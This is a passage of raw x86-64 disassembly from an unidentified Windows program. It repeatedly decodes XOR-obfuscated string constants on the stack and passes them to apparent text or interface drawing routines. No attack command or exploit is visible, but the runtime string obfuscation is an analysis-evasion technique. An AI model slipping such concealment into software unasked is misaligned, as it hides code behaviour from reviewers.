mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e20], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e28], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e30], rax
movabs rax, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e38], rax
vmovdqu ymm0, ymmword [rbp + 0x1e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e00]
vmovdqa ymmword [rbp + 0x1e00], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d470]
lea rcx, [rbp + 0x208]
movss xmm1, dword [0x14015d4c4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d40c]
lea rcx, [rbp + 0x1e00]
mov rdx, qword [0x1404ddd98]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x9d0]
mov edx, 0x46
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d3b8]
lea r8, [rbp + 0x1e8]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x1e0]
movss xmm0, dword [0x14015d3d4]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024260
call fcn.140044b10
test al, al
je 0x140046c5b
call fcn.140013250
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x9e0]
mov edx, 0xff
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm6, dword [0x14015d48c]
lea rcx, [rbp + 0x210]
movaps xmm2, xmm6
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d30
mov qword [rsp + 0x40], rsi
lea rcx, [0x1401581d0]
movss dword [rsp + 0x38], xmm14
mov r9, rax
mov qword [rsp + 0x30], rsi
movaps xmm2, xmm7
mov rsi, qword [rbp + 0x160]
mov qword [rsp + 0x28], rcx
mov rdx, rsi
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x41cf2e6214b9de7d
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed1b9426eddd84
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x9f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x9f8], rcx
lea rcx, [rbp + 0xa10]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa00], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa08], rax
movdqa xmm0, xmmword [rbp + 0xa00]
xorps xmm0, xmmword [rbp + 0x9f0]
movdqa xmmword [rbp + 0x9f0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d4a4]
lea rcx, [rbp + 0x218]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x9f0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0xcaed3bae5282b2c6
mov byte [rbp], al
xor r9d, r9d
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0x61ce397b15bde318
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa20], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa28], rcx
lea rcx, [rbp + 0xa40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa30], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa38], rax
movdqa xmm0, xmmword [rbp + 0xa30]
xorps xmm0, xmmword [rbp + 0xa20]
movdqa xmmword [rbp + 0xa20], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d4ec]
lea rcx, [rbp + 0x220]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d30
xor ecx, ecx
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xa20]
jmp 0x140046ec6
call fcn.140013250
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xa50]
mov r8d, 0x80
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm6, dword [0x14015d48c]
lea rcx, [rbp + 0x228]
movaps xmm2, xmm6
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d30
mov qword [rsp + 0x40], rsi
lea rcx, [0x1401581d4]
movss dword [rsp + 0x38], xmm14
mov r9, rax
mov qword [rsp + 0x30], rsi
movaps xmm2, xmm7
mov rsi, qword [rbp + 0x160]
mov qword [rsp + 0x28], rcx
mov rdx, rsi
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x41cf2e6214b9de7d
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed1b9426eddd84
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa68], rcx
lea rcx, [rbp + 0xa80]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa70], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa78], rax
movdqa xmm0, xmmword [rbp + 0xa70]
xorps xmm0, xmmword [rbp + 0xa60]
movdqa xmmword [rbp + 0xa60], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d4a4]
lea rcx, [rbp + 0x230]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xa60]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov r9d, 0x82
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0x5cf307516afe419
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa90], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa98], rcx
lea rcx, [rbp + 0xab0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0x64
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaa8], rax
movdqa xmm0, xmmword [rbp + 0xaa0]
xorps xmm0, xmmword [rbp + 0xa90]
movdqa xmmword [rbp + 0xa90], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d4ec]
lea rcx, [rbp + 0x238]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d30
xor ecx, ecx
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xa90]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm7
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140044850
test al, al
je 0x14004714b
call fcn.140013250
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xac0]
mov edx, 0xff
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x240]
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d30
xor ecx, ecx
mov r9, rax
mov qword [rsp + 0x40], rcx
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov rdx, rsi
mov qword [rsp + 0x30], rcx
lea rcx, [0x1401581d0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x51846e373a8cd97d
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae528292fc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xad0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xad8], rcx
lea rcx, [rbp + 0xaf0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xae0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xae8], rax
movdqa xmm0, xmmword [rbp + 0xae0]
xorps xmm0, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0xad0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d4a4]
lea rcx, [rbp + 0x248]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0xad0]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0xcaed3bae5282b2c6
mov byte [rbp], al
xor r9d, r9d
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0x61ce397b15bde318
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb00], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb08], rcx
lea rcx, [rbp + 0xb20]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb10], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb18], rax
movdqa xmm0, xmmword [rbp + 0xb10]
xorps xmm0, xmmword [rbp + 0xb00]
movdqa xmmword [rbp + 0xb00], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x250]
movss xmm1, dword [0x14015d4d8]
mov ebx, eax
call fcn.140001d30
lea rcx, [rbp + 0xb00]
jmp 0x1400473a3
call fcn.140013250
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xb30]
mov r8d, 0x80
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x258]
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d30
xor ecx, ecx
mov r9, rax
mov qword [rsp + 0x40], rcx
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov rdx, rsi
mov qword [rsp + 0x30], rcx
lea rcx, [0x1401581d4]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x51846e373a8cd97d
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae528292fc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb40], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb48], rcx
lea rcx, [rbp + 0xb60]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb50], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb58], rax
movdqa xmm0, xmmword [rbp + 0xb50]
xorps xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0xb40], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d4a4]
lea rcx, [rbp + 0x260]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0xb40]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov r9d, 0x82
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0x5cf307516afe419
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb70], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb78], rcx
lea rcx, [rbp + 0xb90]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb80], rax
mov qword [rbp + 0x10], rdx
mov edx, 0x64
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xb70]
mov qword [rbp + 0xb88], rax
xorps xmm0, xmmword [rbp + 0xb80]
movdqa xmmword [rbp + 0xb70], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x268]
movss xmm1, dword [0x14015d4d8]
mov ebx, eax
call fcn.140001d30
lea rcx, [rbp + 0xb70]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140044850
movzx ebx, al
call fcn.140044b10
or bl, al
je 0x140047b67
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov r9d, 0xb4
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
mov byte [rbp], al
movabs rax, 0x278a396416b9e10d
mov qword [rbp + 0x10], rax
movabs rax, 0xafbf1bd93deedea9
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x4f00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xa939ff048d38331e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x4f08], rcx
lea rcx, [rbp + 0xba0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f10], rax
movabs rax, 0x41c909d98f5ecb54
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f18], rax
movabs rax, 0xb34bcf5578483154
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f20], rax
movabs rax, 0xdc567ee2a248e59f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f28], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4020], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4028], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4030], rax
movabs rax, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4038], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4040], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x4f20]
vmovdqu ymm0, ymmword [rbp + 0x4020]
vpxor ymm1, ymm0, ymmword [rbp + 0x4f00]
mov qword [rbp + 0x4048], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x4040]
vmovdqa ymmword [rbp + 0x4f00], ymm1
vmovdqa xmmword [rbp + 0x4f20], xmm2
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d530]
lea rcx, [rbp + 0x270]
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d30
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x4f00]
movss dword [rsp + 0x38], xmm14
mov r9, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rdx, qword [0x1404ddd98]
movaps xmm2, xmm7
mov rcx, rdi
call fcn.140024600
cmp dword [0x1404dddb8], r13d
jne 0x140047e37
mov rcx, qword [0x1404ddda0]
call fcn.140012c70
lea rdx, [0x1404de3c0]
lea rcx, [rbp + 0xbd0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xbe0]
mov r8d, edx
mov esi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov edi, eax
lea rcx, [rbp + 0xbf0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d44c]
lea rcx, [rbp + 0x288]
movss xmm1, dword [0x14015d4c8]
mov ebx, eax
call fcn.140001d30
movabs rcx, 0xcaed3bae5282b2c6
mov r9d, edi
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa05432493c51a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc00], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc08], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc10], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xc00]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc00]
mov qword [rbp + 0xc18], rax
xorps xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0xc00], xmm0
movss xmm0, dword [0x14015d348]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033150
call fcn.140012d10
movss xmm6, dword [0x14015d4a4]
lea rcx, [rbp + 0x290]
movss xmm1, dword [0x14015d4a8]
movaps xmm2, xmm6
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d444]
lea rcx, [rbp + 0x298]
movss xmm1, dword [0x14015d4e8]
call fcn.140001d30
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61cf2f7912bfe411
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc20], rcx
xor esi, esi
lea r8, [0x1404de290]
mov qword [rsp + 0x38], rsi
movabs rbx, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rbx
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov r9d, 0x40
mov qword [rbp + 0xc28], rcx
lea rcx, [0x1401581d8]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc30], rax
mov qword [rsp + 0x30], rsi
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc20]
mov qword [rbp + 0xc38], rax
xorps xmm0, xmmword [rbp + 0xc30]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0xc20]
movdqa xmmword [rbp + 0xc20], xmm0
call fcn.1400370c0
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x13df2f3712b7ec10
mov qword [rbp + 0x10], rax
movabs rax, 0xaf85588e3df692a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x4f40], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb431e0088b7d2d0c
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x4f48], rcx
movabs rcx, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f50], rax
movabs rax, 0x45d40acfed18d700
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f58], rax
movabs rax, 0xb244de59376e7258
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f60], rax
movabs rax, 0xb522108dc168e598
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f68], rax
movabs rax, 0x8e5fa9e10f4bf16d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f70], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f78], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f80], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f88], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f90], rax
movabs rax, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f98], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fa0], rax
movabs rax, 0xdc567ee2a24880ea
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov edx, 0xbe
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x4fa8], rax
mov r8d, edx
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fb0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xc40]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4f80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4f40]
vmovdqu ymm0, ymmword [rbp + 0x4f60]
vmovdqa ymmword [rbp + 0x4f40], ymm1
mov qword [rbp + 0x4fb8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x4fa0]
vmovdqa ymmword [rbp + 0x4f60], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4c0]
lea rcx, [rbp + 0x2a0]
movss xmm1, dword [0x14015d4a8]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d400]
lea rcx, [rbp + 0x4f40]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
movss xmm2, dword [0x14015d4dc]
lea rcx, [rbp + 0x2a8]
movss xmm1, dword [0x14015d4a8]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d43c]
lea rcx, [rbp + 0x2b0]
movss xmm1, dword [0x14015d4e8]
call fcn.140001d30
mov rdx, rax
movabs rdi, 0xcaed3bae5282b2c6
xor eax, eax
movabs rbx, 0x61aa5c1777dc8d5d
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61c4153719bbe40e
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc50], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc58], rcx
lea rcx, [rbp + 0xc50]
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc68], rax
movdqa xmm0, xmmword [rbp + 0xc60]
xorps xmm0, xmmword [rbp + 0xc50]
movdqa xmmword [rbp + 0xc50], xmm0
call fcn.140031530
test al, al
je 0x140047cce
lea rdx, [0x1404de290]
lea rcx, [rbp + 0x1e40]
call fcn.1400778a0
mov rdx, rax
lea rcx, [0x1404ddf20]
call fcn.140088e20
cmp byte [0x1404de130], sil
jne 0x140047c49
mov byte [rbp + 0x20], r13b
jmp 0x140047cd8
movss xmm2, dword [0x14015d530]
lea rcx, [rbp + 0x278]
movss xmm1, dword [0x14015d484]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d43c]
lea rcx, [rbp + 0x280]
movss xmm1, dword [0x14015d51c]
call fcn.140001d30
mov rdx, rax
movabs r8, 0xcaed3bae5282b2c6
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4df327e03b2e21e
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbb0], rcx
mov qword [rbp + 0x10], r8
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbb8], rcx
lea rcx, [rbp + 0xbb0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbc0], rax
mov qword [rbp + 0x10], r8
xor r8d, r8d
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbc8], rax
movdqa xmm0, xmmword [rbp + 0xbc0]
xorps xmm0, xmmword [rbp + 0xbb0]
movdqa xmmword [rbp + 0xbb0], xmm0
call fcn.140031530
test al, al
je 0x1400475d2
mov dword [0x1404dddb8], r13d
jmp 0x1400475df
xor eax, eax
lea rdx, [0x1404de290]
mov byte [rbp], al
lea rcx, [rbp + 0xc70]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61cf2f7912bfe411
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc70], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc78], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc80], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc70]
mov qword [rbp + 0xc88], rax
xorps xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0xc70], xmm0
